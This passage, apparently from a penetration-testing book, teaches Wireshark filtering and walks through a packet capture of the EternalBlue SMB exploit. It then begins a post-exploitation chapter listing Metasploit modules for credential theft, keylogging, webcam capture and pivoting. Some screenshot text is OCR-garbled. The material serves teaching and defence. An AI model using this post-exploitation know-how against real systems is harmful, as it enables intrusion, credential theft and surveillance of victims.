As you can see above, it only found two packets with the word Facebook in the payload, and we can see the word Facebook in the ASCII display in the **#3** pane.

# **Creating Filters with the Expression Window**

If we aren't sure what field we want to filter for or how to create the necessary filter, we can click on the Expression tab to the far right. This opens the **Expression** window like below.

uc	relephony wireless tools relp			
Ŷ	🕹 🚍 📃 Q, Q, Q, 🎚			
_			$X \rightarrow$	Expression +
	🚄 Wireshark - Display Filter Expression		? ×	A
				$\Delta$
	Field Name		Relation	
	> 104apci · IEC 60870-5-104-Apci	^	is present	
	> 104asdu · IEC 60870-5-104-Asdu		==	
	29West - 29West Protocol		1=	
	> 2dparityfec · Pro-MPEG Code of Practice #3 release 2 FEC Protocol		>	
	> 3COMXNS · 3Com XNS Encapsulation		<	
	> 3GPP2 A11 · 3GPP2 A11		>=	
1	> 6LoWPAN · IPv6 over Low power Wireless Personal Area Networks		<=	
9:	> 802.11 Radio - 802.11 radio information		contains	
Le	> 802.11 Radiotap · IEEE 802.11 Radiotap Capture header		matches	
::	> 802.11 RSNA EAPOL · IEEE 802.11 RSNA EAPOL key		in	
	> 802.3 Slow protocols - Slow Protocols			
	> 9P · Plan 9			
	> A21 · A21 Protocol			
	> AAF · AVTP Audio Format		Value	
	AAL1 · ATM AAL1			
1	AAL3/4 - ATM AAL3/4			^
4	> AARP · Appletalk Address Resolution Protocol		Predefined values	
8	> AASP - Aastra Signalling Protocol			
2	> A-bis OML · GSM A-bis OML			
f	> ACAP · Application Configuration Access Protocol			
ė	> ACN - Architecture for Control Networks			
f	> ACP133 · ACP133 Attribute Syntaxes			
c	> ACR 122 · Advanced Card Systems ACR122			
-	> ACSE · ISO 8650-1 OSI Association Control Service	~	Range (offset:length)	¥
54	Conschu	_		Profile: Default
co	Search:			
	No display filter	_		
	A hint.			
			QK Cancel Help	
			edited hep	
-				

To the left of this window is the long list of fields available to us to create filters. These are hundreds of protocols and the protocols' fields. You can expand a protocol and find all of its fields and select the field of interest.

Operator	Description
==	Equal To
!=	Not Equal To
>	Greater Than
<	Less Than
>=	Greater than or Equal To
<=	Less Than or Equal To
contains	Protocol or Field Contains a Value
matches	Protocol or Text Field Matches a Regular Expression

The upper right-hand window includes the **Relation** choices. These include:

We can now create a filter by simply selecting a field in the left window; select a relation in the upper right window; and select a value in the lower right window (values are very often 1 or 0 meaning they exist or do not). For instance, if we want to find all tcp packets with the RST flag set, we would enter:

tcp.flags.rst==1

# **Following Streams**

It some cases, rather than examine all the packets of a particular protocol or traveling to a particular port or IP, you want to follow a stream of communication. Wireshark enables you to do this with little effort. This technique can be useful if you are trying to follow, for instance, the conversation of a rogue, disgruntled employee who is trying to do damage to your network.

To follow a stream, select a packet by clicking on it and then right-click.

🔏 *Wi-Fi						- 0	×
File Edit View Go Canture Analyze Statistics Tele	enhony Wireless Tools He	eln					
							1.4
tcp						Expression	. +
No. Time Source Destina	nation Protocol	Length Info					^
11124 126.489466 192.168.1.107 172.2	217.3.4 TCP	54 51016 → 443 [F	IN, ACK] Seq=1 Ack=1	Win=65 Len=0			
11125 126.530898 172.217.3.4 192.1	168.1.107 TCP	54 443 → 51016 [F	IN, ACK] Seq=1 Ack=2	Win=285 Len=0			
11126 126.531002 192.168.1.107 172.2	217.3.4 TCP	54 51016 → 443 [A	CK] Seq=2 Ack=2 Win=	65 Len=0			
11127 129.282382 192.168.1.107 162.1	125.34.129 TLSv1.2	153 Application Da	ta				
11128 129.28269/ 192.168.1.10/ 162.1	125.34.129 TLSv1.2	3/9 Application Da	ta svl coo oco tolo cot i	W- 00 1 0			
11132 129.313694 162.125.34.129 192.1	168.1.107 TCP	60 443 → 50586 [A	CKJ Seq=899 Ack=994	Win=82 Len=0			
11133 129.314/44 162.125.34.129 192.1	168.1.107 TLSV1.2	96 Application Da	Ca CV1 Carronal Ark-1310	111-04 Lan-0			
11137 129.330011 102.123.34.129 192.1	106.1.107 TCP	54 50596 - 442 [A	CK] Seg=941 ACK=1519	Win=64 Len=0			
11143 131 217252 192 168 1 197 185 7	79 49 151 Mark/Upmar	k Packet Ctrl+M	036 > 443 [ACK]	Sec=10874 Ack=1279	92 Win=63 Len=1		
11157 131 407696 195 70 40 151 102 1	169 1 107	current current	1 443 - 51036 [	ACK1 Seg=12702 Ack	=10075 Win=122 Lan=0 SLE=10	274 CDE-10275	
11158 131 800161 192 168 1 107 185 2	239 61 16	iore Packet Ctrl+D	547 + 443 [ACK]	Sen=5343 Ack=1951	Win=16545 Len=1[Reascemb]v	error proto	c
	Set/Unset Tin	ne Reference Ctrl+T	and and fucul	Seq-SSHS Men-1991		citor, proco	
> Frame 11110: 54 bytes on wire (432 bits), 54 b	bytes capt Time Shift	Ctrl+Shift	+T				
> Ethernet II, Src: Cisco-Li_97:4f:48 (00:25:9c:	:97:4f:48) Packet Comp	ctrl+Alt+	:05)				
Internet Protocol Version 4, Src: 192.168.1.1,	, Dst: 192	con suc	·				_
7 Transmission Control Protocol, Src Port: 80, D	Edit Resolved	Name					
	Apply as Filte		•				
	Apply as File						
	Prepare a Filt	er	· .				
	Conversation	Filter	•				
	Colorize Con	versation	•				
	SCTP		•		_		
	Follow		TCP Stream	Ctrl+Alt+Shift+T			
0000 30 e3 7a 55 3c 05 00 25 9c 97 4f 48 08 00	45 00 Copy		UDP Stream	Ctrl+Alt+Shift+U			
0010 00 28 b1 cc 40 00 40 06 05 47 c0 a8 01 01	c0 a8		SSL Stream	Ctrl+Alt+Shift+S			
0020 01 6b 00 50 c7 6b 00 00 fd bd 65 e5 e2 bf	50 11 Protocol Pref	Protocol Preferences		Ctrl+Alt+Shift+H			
0030 17 70 06 88 00 00	Decode As			State State The	1		
	Show Packet	in New Window					
	Show Packet						

This opens a pull-down window like that above. Click "Follow" and then "TCP Stream."



This opens a window that includes all the packets and their content in this stream. Note the statistics at the bottom of the window to the far left (5796 bytes) and the method of displaying the content (ASCII).

# Statistics

Finally, we may want to gather statistics on our packet capture. This can be particularly useful in creating a baseline of normal traffic. Click on the **Statistics** tab at the top of Wireshark, and a pull-down menu appears. In our case, let's navigate down to the IPv4 Statistics and then **All Addresses**.

									_	~
opic / Item	Count	Average	Min val	Max val	Rate (ms)	Percent	Burst rate	Burst start		^
<ul> <li>All Addresses</li> </ul>	20030				0.0235	100%	2.0400	285.065		
98.208.120.83	2				0.0000	0.01%	0.0200	157.609		
95.90.216.176	2				0.0000	0.01%	0.0100	360.629		
95.211.193.117	2				0.0000	0.01%	0.0100	213.622		
95.185.10.104	1				0.0000	0.00%	0.0100	45.631		
95.133.184.74	1				0.0000	0.00%	0.0100	570.624		
93.157.125.6	2				0.0000	0.01%	0.0100	850.613		
93.156.164.111	1				0.0000	0.00%	0.0100	843.606		
92.249.157.130	2				0.0000	0.01%	0.0100	689.628		
92.249.150.192	2				0.0000	0.01%	0.0100	710.626		
92.189.95.108	1				0.0000	0.00%	0.0100	773.634		
91.245.122.169	2				0.0000	0.01%	0.0100	346.650		
91.121.195.238	2				0.0000	0.01%	0.0100	759.614		
89.2.187.59	2				0.0000	0.01%	0.0100	465.639		
89.139.66.80	2				0.0000	0.01%	0.0100	521.638		
89.107.138.220	1				0.0000	0.00%	0.0100	577.617		
87.50.89.251	2				0.0000	0.01%	0.0100	787.638		
86.61.63.86	1				0.0000	0.00%	0.0100	241.615		
86.143.13.160	2				0.0000	0.01%	0.0100	647.635		
85.67.250.91	1				0.0000	0.00%	0.0100	367.613		
85.253.211.77	2				0.0000	0.01%	0.0100	514.607		~
play filter: Enter a dis	play filter								Appl	у

As you can see above, Wireshark has listed every IP address with activity and some basic statistics for each IP address.

Now that we understand the basics of using a packet analyzer like Wireshark, let's apply it to a real-world problem—the NSA's EternalBlue exploit that we used in Chapter 9 to exploit the Windows 7 system.

# Using Wireshark To Analyze the NSA's EternalBlue Exploit

Throughout this book, we have been focusing on the notorious EternalBlue exploit that was stolen from the NSA, possibly by Russian hackers. In this section, we want to see what Eternal Blue looks like from a packet-level inspection in Wireshark. This analysis can help us to understand how EternalBlue works, which can lead to better security to prevent it (creating an anti-virus or IDS's signature) and possibly the development of exploits similar to it.

In April 2017, a nefarious group known only as the ShadowBrokers released a group of exploits that were stolen from the US National Security Agency (NSA). The NSA is charged with protecting US citizens from terrorist and other threats to security, but has also been known to spy on US citizens. In this capacity, the NSA develops and purchases zero-day exploits. Someone at the NSA in Ft. Mead, MD, stole some of the exploits and provided them to this shadowy group, which then tried to sell them on the Internet. When no one stepped up to purchase these at the minimum asking price (of course, priced in Bitcoin), the Shadow Brokers released the exploits to anyone who wanted them.

Among this group of exploits, there was one known as EternalBlue. This exploit took advantage of a vulnerability in Server Message Block (SMB) protocol on port 445. This protocol enables file, drive, and printer sharing on local area networks, among other things. When the exploit works properly, it enables the attacker to execute their code (RCE) with system administrator privileges on the target system. The exploit is similar to an earlier (but NOT the same, as some have reported) exploit against SMB known as MS08-067. Microsoft designated this EternalBlue vulnerability MS17-010 and patched it March 2017

(apparently, the NSA, knowing that the exploits were stolen and would soon be released, notified Microsoft and the patch was available before the exploit was released).

Despite Microsoft's patch, later that same year, both the WannaCry, Petya and NotPetya ransomware (see the History of Hacking in Chapter 1 for more on this ransomware) attacks utilized the EternalBlue exploit for their malicious purposes and wreaked havoc around the world. All told, EternalBlue and its offspring were responsible for billions of dollars of damage.

Given the severity of this exploit and its consequences, it is worth studying it—not only to recognize this singular attack, but also to become familiar enough with this type of attack to recognize the next variant that is certainly coming in the future.

You can download a .pcap capture of the EternalBlue exploit at https://www.netresec.com/?page=PcapFiles

	The Wir	eshark N	letwo	rk Analyzer	r	
File	Edit	View	Go	Capture	Analyze	Statistics Telephony Wireless Tools Help
	Open			c	Ctrl+O	E T 🕹 🚍 📃 Q. Q. E. 🎹
	Open F	Recent				•
	Merge.					
	Import	from H	ex Du	mp		
	Close			C	Ctrl+W	rk
	Save			c	Ctrl+S	
	Save A	S		C	Ctrl+Shift+	S \Local\Temp\eternalblue-success-unpatched-win7.pcap (347 KB)

If you are unfamiliar with the Microsoft implementation of SMB (even most experts are not) and want to learn more, <u>Microsoft has an excellent reference here</u>.

Once the pcap file loads into Wireshark, go to packets 6 and 7. Here you see the protocol (SMB) negotiation. You should see a **Negotiate Protocol Request** and **Negotiate Protocol Response packets**. These two packets are initiating the SMB protocol communication.

No.	Time	Source	Destination	Protocol	Length Info
	1 0.000000	192.168.198.204	192.168.198.203	TCP	66 51112 → microsoft-ds(445) [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1
	2 0.000275	Vmware_68:24:5a	Broadcast	ARP	60 Who has 192.168.198.204? Tell 192.168.198.203
	3 0.000417	Vmware_a3:01:b7	Vmware_68:24:5a	ARP	60 192.168.198.204 is at 00:0c:29:a3:01:b7
	4 0.000452	192.168.198.203	192.168.198.204	TCP	66 microsoft-ds(445) → 51112 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1
	5 0.000580	192.168.198.204	192.168.198.203	TCP	60 51112 → microsoft-ds(445) [ACK] Seq=1 Ack=1 Win=65536 Len=0
	6 0.000617	192.168.198.204	192.168.198.203	SMB	191 Negotiate Protocol Request
	7 0.002461	192.168.198.203	192.168.198.204	SMB	173 Negotiate Protocol Response
	8 0.002463	192.168.198.204	192.168.198.203	SMB	194 Session Setup AndX Request, User: anonymous
~	9 0.002639	192.168.198.203	192.168.198.204	SMB	251 Session Setup AndX Response
	10 0.002651	192.168.198.204	192.168.198.203	SMB	154 Tree Connect AndX Request, Path: \\192.168.198.203\IPC\$
+	11 0.002652	192.168.198.203	192.168.198.204	SMB	114 Tree Connect Anax Response
	12 0.002653	192.168.198.204	192.168.198.203	SMB	136 Trans2 Request, SESSION_SETUP
	13 0.002654	192.168.198.203	192.168.198.204	SMB	93 Trans2 Response, SESSION_SETUP, Error: STATUS_NOT_IMPLEMENTED
	14 0.004962	192.168.198.204	192.168.198.203	SMB	1138 NT Trans Request, <unknown></unknown>
	15 0.005044	192.168.198.203	192.168.198.204	SMB	93 NT Trans Response, <unknown (0)=""></unknown>
	16 0.005204	192.168.198.204	192.168.198.203	SMB	4207 Trans2 Secondary Request, FID: 0x0000
	17 0.005339	192.168.198.203	192.168.198.204	TCP	60 microsoft-ds(445) → 51112 [ACK] Seq=455 Ack=5697 Win=65536 Len=0
	18 0.005346	192.168.198.203	192.168.198.204	TCP	60 [TCP ACKed unseen segment] microsoft-ds(445) → 51112 [ACK] Seq=455 Ack=8617 Win=65536 Len=0 🛛 🔤 🌱
> F	ame 10: 154 byte	s on wire (1232 bits)	, 154 bytes captured (	1232 bit	(3)
> E	thernet II, Src: 1	/mware_a3:01:b7 (00:0	c:29:a3:01:b7), Dst: \	/mware_68	1:24:5a (00:0c:29:68:24:5a)
> I	nternet Protocol	Version 4, Src: 192.1	68.198.204 (192.168.19	8.204),	Dst: 192.168.198.203 (192.168.198.203)
> T	ransmission Contro	ol Protocol, Src Port	:: 51112 (51112), Dst F	Port: mic	rrosoft-ds (445), Seq: 278, Ack: 317, Len: 100
> N	etBIOS Session Se	rvice			
'∽ s	HB (Server Messag	e Block Protocol)			
>	SMB Header				
)	Tree Connect And	dX Request (0x75)			
000	00 00 29 68 24	5a 00 0c 29 a3 01 b	7 88 88 45 88		· F ·
0010	00 8c 12 00 00	00 80 06 19 83 c0 a	8 c6 cc c0 a8 ·····		
002	c6 cb c7 a8 01	bd c9 b4 7f 2b 9a b	b 44 72 50 18 ······	·· ·+··D	rP -
003	00 ff d1 15 00	00 00 00 00 60 ff 5	3 4d 42 75 00 ·····	·· · ` · SM	Bu -
0040	00 00 00 18 07	c0 00 00 00 00 00 0	0 00 00 00 00	•• ••••	
005	00 00 00 00 ff	fe 00 08 40 00 04 f	f 00 60 00 08		
006	00 01 00 35 00	00 5c 00 5c 00 31 0	0 39 00 32 005.	\· \·1·9	-2-
007	2e 00 31 00 36	00 30 00 20 00 31 0 00 33 00 5c 00 49 0	0 59 00 50 001.6.	01	* 0 * 
009	24 00 00 00 3f	3f 3f 3f 3f 00	\$?	22.2.1	
			· · · ·		

In the very next packet, you see a Session Setup and the user "anonymous."

This is followed two packets later where you should see "**Tree Connect**" and **Path**: \\**192.168.198.203**\**IPC\$.** This is the hacker attempting to connect to an IPC share on the target machine. You can also see the IPC share attempt and the IP address in the lower window.

# **Create a Filter for SMB Only Traffic**

Rather than viewing all the packets, let's focus on just the SMB packets. In the filter window, enter "SMB," and now you should only see SMB packets in the live window at the top. This should make our further analysis much more straightforward.



# **NT Trans Request**

Next, the exploit sends out **NT Trans Request** with a considerable payload (see the middle window) and a large number of NOPs (No Operation). You can see the NOP's in the lower window of Wireshark. NOPs are No Operations, where the CPU cycles are expended, but nothing is done. NOPs are common among buffer overflow exploits (for more on buffer overflows, see <a href="https://www.hackers-arise.com/post/2017/05/26/exploit-development-part-1-anatomy-of-buffer-overflows">https://www.hackers-arise.com/post/2017/05/26/exploit-development-part-1-anatomy-of-buffer-overflows</a>). The attack is preparing the SMB for the specially crafted packet necessary to exploit the system.

		· · ·				_
<u> </u>	i 🖉 💿 📘 🛅	🗙 🖸 । ९ 👄 🔿 😫	Ŧ 🛓 📃 🔍 Q 🖓	ə, 🎹		
sm	ıb				🛛 🗔 👻 Expressio	n
No.	Time	Source	Destination	Protocol	Length Info	
	7 0.002461	192.168.198.203	192.168.198.204	SMB	173 Negotiate Protocol Response	
	8 0.002463	192.168.198.204	192.168.198.203	SMB	194 Session Setup AndX Request, User: anonymous	
	9 0.002639	192.168.198.203	192.168.198.204	SMB	251 Session Setup AndX Response	
	10 0.002651	192.168.198.204	192.168.198.203	SMB	154 Tree Connect AndX Request, Path: \\192.168.198.203\IPC\$	
+	11 0.002652	192.168.198.203	192.168.198.204	SMB	114 Tree Connect AndX Response	
	12 0.002653	192.168.198.204	192.168.198.203	SMB	136 Trans2 Request, SESSION_SETUP	
~	13 0.002654	192.168.198.203	192.168.198.204	SMB	93 Trans2 Response, SESSION_SETUP, Error: STATUS_NOT_IMPLEMENTED	
	14 0.004962	192.168.198.204	192.168.198.203	SMB	1138 NT Trans Request, <unknown></unknown>	
1	15 0.005044	192.168.198.203	192.168.198.204	SMB	93 NI Trans Response, <unknown (0)=""></unknown>	
	16 0.005204	192.168.198.204	192.168.198.203	SMB	4207 Trans2 Secondary Request, FID: 0x0000	
	Process ID H	ligh: 0				
	Signature: 0	000000000000000				
	Reserved: 00	00				
	> Tree ID: 204	8 (\\192.168.198.20	3\IPC\$)			
	Process ID:	65279				
	User ID: 204	-8				
	Multiplex TD	): 65				
1	NT Trans Reques	st (0xa0)				
	word count (	WCT): 20				
	Max Setup Co	ount: 1				
	Reserved: 00	00				
	Total Parame	ter Count: 30				
0050	00 00 00 08 ff	fe 00 08 41 00 <mark>14 (</mark>	01 00 00 1e 00 ·····	••• A•••••		
0060	00 00 d0 03 01	00 1e 00 00 00 00 0	30 00 00 1e 00 ·····			
0070	00 00 45 00 00	00 d0 03 00 00 68 0	30 00 00 01 00 ··K··			
0080	00 00 00 ec 03	00 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 ·····		NT Trans Request	
0030	00 00 00 00 00 00 00 00 00 00 00 01	00 00 00 00 00 00 00	00 00 00 00 00		Header	
00b0	00 00 00 00 00	00 00 00 00 00 00 00	00 00 00 00 00			
00c0	00 00 00 00 00	00 00 00 00 00 00 0	00 00 00 00 00			
00d0	00 00 00 00 00	00 00 00 00 00 00 00	00 00 00 00 00	•• ••••		
00e0	00 00 00 00 00	00 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00			
0010	00 00 00 00 00	00 00 00 00 00 00 00				
0110	00 00 00 00 00	00 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00			
0120	00 00 00 00 00	00 00 00 00 00 00 00	00 00 00 00 00			
0130	00 00 00 00 00	00 00 00 00 00 00 0	00 00 00 00 00	•• ••••		
0140	00 00 00 00 00	00 00 00 00 00 00 00	00 00 00 00 00			
0150	00 00 00 00 00	00 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00			

This large **NT Trans** request leads to many **Secondary Trans2 Requests** made necessary by the large request size. These act as a trigger point for the vulnerability and the request portion contains the shellcode and encrypted payload, which is the launcher for the malware on the remote machine.

#### **Trans2 Response**

Now, let's navigate down to packet #165. Here we see a **Trans2 Response** 

with **STATUS\_INVALID\_PARAMETER**. This is the victim's machine responding, which means that the overwrite has been successful.

sm	b						Expression	+
No.		Time	Source	Destination	Protocol	Length Info		^
1	113	0.019419	192,168,198,204	192,168,198,203	SMB	139 Session Setup AndX Request		
	114	0.019488	192,168,198,203	192.168.198.204	SMB	175 Session Setup AndX Response		
	159	1.034352	192,168,198,204	192.168.198.203	SMB	107 Echo Request		
	161	1.034478	192,168,198,203	192.168.198.204	SMB	107 Echo Response		
	163	1.035464	192,168,198,204	192.168.198.203	SMB	4207 Trans2 Secondary Request, FID: 0x0000		_
	165	1.035664	192.168.198.203	192,168,198,204	SMB	146 Trans2 Response <unknown>, Error: STATUS INVALID PARAMETER</unknown>		
	257	16.059916	192.168.198.204	192.168.198.203	SMB	136 Trans2 Request, SESSION SETUP		
	258	16.060079	192.168.198.203	192.168.198.204	SMB	93 Trans2 Response, SESSION SETUP, Error: STATUS NOT IMPLEMENTED		
	263	18.076065	192.168.198.204	192.168.198.203	SMB	191 Negotiate Protocol Request		
	264	18.076080	192.168.198.203	192.168.198.204	SMB	173 Negotiate Protocol Response		
						- ····································		
	5	Server Compone	nt: SMB					^
	-	MB Command: T	rans2 (0x32)					
	1	IT Status: STA	TUS_INVALID_PARAMETER	R (0xc00000d)				
	>	таgs: юхэх, к	equest/kesponse, cano	onicalized Patnnames,	Case Ser	nsitivity		
	> F	lags2: 0xc007	, Unicode Strings, Er	rron Code Type, Securi	ity Signa	atures, Extended Attributes, Long Names Allowed		
	F	Process ID Hig	h: 0					
		Signature: 000	0000000000000					
	F	Reserved: 0000						
	> 1	ree ID: 2048	(\\192.168.198.203\]	PC\$)				
	F	Process ID: 65	279					
	ι	Jser ID: 2048						
	N	Nultiplex ID:	65					~
0000	00	0c 29 a3 01 b	7 00 0c 29 68 24 5a	08 00 45 00)	·· )h\$Z·	·E·		
0010	00	84 00 f7 40 0	0 80 06 ea 93 c0 a8	c6 cb c0 a8				
0020	c6	cc 01 bd c7 a	8 9a bb 45 66 c9 b5	88 17 50 18	··· Ef····	. p .		
0030	01	00 06 e2 00 0	0 00 00 00 58 ff 53	4d 42 32 0d	····X · SM	82		
0040	00	00 c0 98 07 c	0 00 00 00 00 00 00	00 00 00 00	•••••••	···		
0050	00	00 00 08 ff f	e 00 08 41 00 0a 1e	00 00 00 00	··· A····			
0060	00	1e 00 38 00 0	0 00 00 00 58 00 00	00 00 00 218	·· ·x···	•••		
0070	00	00 00 00 00 0	00 00 00 00 00 00 00	00 00 00 00				
00000	00	00 00 00 00 0	0 00 00 00 00 00 00					
0000	50							

Next, let's check to see whether the payload has successfully installed. If it has, we should find the **SMB Multiplex ID = 82 field** in one of the packets. Let's now create a filter for that field and look for it in our stream of packets.

_						
smb	.mid == 82					Expression
No.	Time	Source	Destination	Protocol	Length Info	
	566 34.152103	192.168.198.203	192.168.198.204	SMB	93 Trans2 Response <unknown>, Error: STATUS_NOT_IMPLEMENTED</unknown>	
	> Flags2: 0xc00	07, Unicode Strings,	Error Code Type, Secu	urity Sign	natures, Extended Attributes, Long Names Allowed	
	Process ID H	lgh: 0				
	Signature: 0	7b7ada500000000				
	Reserved: 00	90				
	> Tree ID: 204	8 (\\192.168.198.20	3\IPC\$)			
	Process ID: 0	55279				
	User 10: 204					
	Multiplex ID	(0::22)				
Ť	Gubarense	(0x52)				
	Nord Count (1	CONKNOWNS SINCE requi	est packet wasn't seer			
	Bute Count (1					
	byce count (i	JCC). 0				
0000	00 0c 29 a3 01	b7 00 0c 29 68 24	5a 08 00 45 00 ···)·	)h\$Z∙	··E·	
0010	00 4t 01 c6 40	00 80 06 e9 f9 c0	a8 c6 cb c0 a8 ·0··(			
0020	CD CC 01 DD C/	00 00 00 00 00 23 ff	e0 ab 94 50 18 53 4d 42 32 02		IR2-	
0000	01 00 JC 00 00	00 00 00 00 23 11	JJ TU TE JE 02		10Z ·	

As you can see above, we did find a packet with the SMB Multiplex ID set to 82.

# **Follow the Stream**

Finally, if we right-click on the **Trans2** packet from Step #5 above and select **Follow -> TCP Stream**, we see the contents of the packets. Here we can see the contents of the payloads that created the buffer overflow and delivered the payload that enabled this exploit.

146 Tran	s2 Response <unknown>. E</unknown>	rror: STATUS	INVALID PARAMETER	2
60 5	Mark/Unmark Packet	Ctrl+M	Ack=653 Win=650	024 Len=0
136 1	Ignore/Unignore Packet	Ctrl+D		
93 1	Set/Unset Time Reference	Ctrl+T	ATUS_NOT_IMPLEME	
	Time Shift	Ctrl+Shift+T		
l:b7 ( :: 192	Packet Comment	Ctrl+Alt+C		
51112	Edit Resolved Name			
	Apply as Filter	•		
	Prepare a Filter	•		
	Conversation Filter	•		
	Colorize Conversation	•		
tivit	SCTP	•		
res,	Follow	+	TCP Stream	Ctrl+Alt+Shift+T
	Сору	•	UDP Stream	Ctrl+Alt+Shift+U
			SSL Stream	Ctrl+Alt+Shift+S
	Protocol Preferences	•	HTTP Stream	Ctrl+Alt+Shift+H
	Decode As Show Packet in New Windov	v		

When we follow the stream, Wireshark displays the payload contents as seen below.



# Summary

Detecting and preventing network attacks is a crucial responsibility of the network and information security engineers. Without knowing what the attack looks like from the packet-level makes that task challenging, if not impossible. Here, by analyzing the EternalBlue attack packet-by-packet, we can be better prepared to prevent this or similar type attack on our network.

Wireshark is an essential tool in the toolbox of any information security engineer or hacker. This tool can provide us insights into what is happening in our network and even analyze network attacks to prevent them or re-engineer new ones. Tcpdump is an excellent tool for network traffic analysis when the a GUI is not available or the system is remote.

# Exercises

Create the following Filters in Wireshark on your live traffic;
(1) TCP IP address
(2) TCP destination IP address
(3) TCP flag RST
(4) IP DF flag
(5) Filter for all traffic leaving your IP address
(6) Filter for the term "hackers-arise"

# 11

# **Post Exploitation**

Never become predictable Master OTW



Once we have successfully exploited the target system, like we did in Chapter 9, our job has just begun! We didn't exploit the system just to get inside and send a greeting. We exploited the system for a purpose. That purpose is often called post exploitation in the hacking/penetration testing world. In the non-penetration testing world, it's called "getting the goodies."

An exploit gets us inside the target system, and the payload enables us to connect to, and operate inside, the target system. Now that we are inside, we need to decide what we want to do there. Do we want to:

- 1. Grab the passwords?
- 2. Listen to their conversations?
- 3. Place a keylogger on the system to record all their keystrokes?
- 4. Turn on their webcam, take snapshots or stream video?

- 5. Scan the network to find a particular system such as the database server?
- 6. Or simply use the target system as a foothold to take over the entire network?

In this chapter, we will assume a scenario where we are working for our national espionage/intelligence agency and have been charged with obtaining information from the target for national security purposes. We will attempt to do each of the tasks enumerated above on the target system.

# **Post-Exploitation Capabilities**

Once we are inside the system, our capabilities will depend, in part, upon several factors. These factors include the following:

- 1. Do we have system admin privileges?
- 2. What payload did we place inside the system?
- 3. What service or application did we exploit?

In Chapter 9, we exploited the SMB service on the Windows 7 system. We were able to get the system administrator privileges and placed the windows/meterpreter/reverse\_http payload inside the system.

# **Search for Post-Exploitation Modules**

When using Metasploit for postexploitation, we have numerous options. We can view all the postexploitation modules in Metasploit by using the search command and entering:

msf5 > search type:post

<u>msf5</u> > Matchiu	search type:post ng Modules				
#	Name	Disclosure Date	Rank	Check	Description
-					
Θ	post/aix/hashdump		normal	No	AIX Gather Dump Password Hashes
1	post/android/capture/screen		normal	No	Android Screen Capture
2	post/android/gather/sub_info		normal	No	extracts subscriber into from target device
3	post/android/gather/wireless_ap		normal	No	Displays wireless SSIDs and PSKs
4	post/android/manage/remove_lock	2013-10-11	normal	No	Android Settings Remove Device Locks (4.0-4.3)
5	post/android/manage/remove_lock_root		normal	NO	Android Root Remove Device Locks (root)
0	post/apple_los/gather/los_lmage_gather		normal	NO	tos Image Gatherer
7	post/apple_los/gather/los_text_gather		normal	NO	105 Text Gatherer
8	post/cisco/gather/enum_cisco		normat	NO	Cisco Gather Device General Information
9	post/firefox/gather/cookies	2014-03-26	normal	NO	Firefox Gather Cookies from Privileged Javascript Shell
10	post/firefox/gather/history	2014-04-11	normal	NO	Firefox Gather History from Privileged Javascript Shell
11	post/firefox/gather/passwords	2014-04-11	normal	NO	Firefox Gather Passwords from Privileged Javascript Shell
12	post/firefox/gather/xss		normat	NO	Firefox XSS
13	post/hirerox/manage/webcam_chat	2014-05-13	normal	No	CAN Elood
14	post/hardware/automotive/can_flood		normal	NO	LAN FLOOD Medule to Drobe Different Date Deints in a CAN Decket
15	post/hardware/automotive/camprobe		normal	No	Module to Probe Different Data Points in a CAN Packet
10	post/hardware/automotive/getvinto		normal	No	Seen CAN Bus for Diagnostic Modulos
1/	post/hardware/automotive/malibu overheat		normal	No	Sample Module to Elood Temp Gauge on 2006 Malibu
10	post/hardware/automotive/ndt		normal	No	Check For and Prent the Purptechnic Devices (Airbans, Battery Clamps, etc.)
20	post/hardware/rftransceiver/rfnwnon		normal	No	Brute Force AM/ODK (ie: Garage Doors)
20	post/hardware/rftransceiver/transmitter		normal	No	RE Transceiver Transmitter

As you can see, there are over 300 post-exploitation modules.

We can narrow this search by just looking for those that can be used on Windows systems (in our case, we will be using a Windows 7 system).

msf5 > search type:post platform:windows
search type:post platform:windows				
search type.post practorm.windows				
g Modules				
Nama		Deel	Chl-	Deserviction
Name	Disclosure Date	капк	спеск	Description
nest/multi/anthor/annle_ies_baskup		normal	No	Windows Cothor Apple ios MehiloSuns Paskup File Collection
post/multi/gather/apple_ios_backup		normal	NO	Willows dather Apple 105 Mobilesync Backup File Cottection
post/multi/gather/check_matware		normal	No	Chronic Gather Costion
post/multi/gather/childs_enum		normal	No	Multi Gather Dovieualizer Connections Sattings
post/multi/gather/dos_bruteforce		normal	No	Multi Gather DWISdatizer Connections Settings
post/multi/gather/dns_reverse_lookup		normal	No	Multi Gather DNS Forward Lookup Bruteroite
post/multi/gather/dns_reverse_tookup		normal	No	Multi Gather DNS Reverse Lookup Scan
post/multi/gather/enum_vbox		normal	No	Multi Gather Dis Service Record Lookup Stall
post/multi/gather/env		normal	No	Multi Gather Generic Operating System Environment Settings
post/multi/gather/filezilla_client_cred		normal	No	Multi Gather Filezilla ETP Client (redential Collection
post/multi/gather/find ymy		normal	No	Multi Gather VMWare VM Identification
post/multi/gather/firefox_creds		normal	No	Multi Gather Firefox Signon Credential Collection
post/multi/gather/incos_creas		normal	No	has Cradential Collector
post/multi/gather/jeokins_gather		normal	No	Jankins Gredential Collector
nost/multi/gather/lastnass_creds		normal	No	LastPass Vault Dervotor
post/multi/gather/mayen_creds		normal	No	Multi Gather Mayen Credentials Collection
post/multi/gather/multi_command		normal	No	Multi Gather Run Shell Command Resource File
post/multi/gather/papass_creds		normal	No	Multi Gather pupass Credentials
post/multi/gather/pidgin_cred		normal	No	Multi Gather Pidgin Instant Messenger Credential Collection
post/multi/gather/ping_sweep		normal	No	Multi Gather Ping Sweep
post/multi/gather/resolve hosts		normal	No	Multi Gather Besolve Hosts
post/multi/gather/run console rc file		normal	No	Multi Gather Run Console Resource File
